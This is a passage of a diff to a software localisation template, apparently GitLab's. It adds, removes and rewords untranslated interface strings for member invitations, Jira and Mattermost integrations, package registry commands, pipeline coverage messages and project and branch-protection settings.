+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
